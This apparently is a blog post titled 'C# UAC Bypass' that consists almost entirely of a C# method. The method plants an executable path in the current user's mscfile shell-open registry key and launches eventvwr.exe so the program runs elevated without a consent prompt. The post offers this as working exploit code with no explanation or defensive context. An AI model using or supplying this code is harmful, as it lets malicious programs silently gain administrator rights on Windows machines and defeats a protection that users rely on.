C# UAC Bypass



    public static bool UAC(string executablePath)
      {
        try
        {
          Registry.CurrentUser.CreateSubKey(@SOFTWARE\Classes\mscfile\shell\open\command).SetValue("", executablePath);                     
           Process.Start("eventvwr.exe");
           Environment.Exit(1);
          return true;
         }
         catch
        {
          return false;
        }
      }

No comments

Note: Only a member of this blog may post a comment.

Powered by Blogger.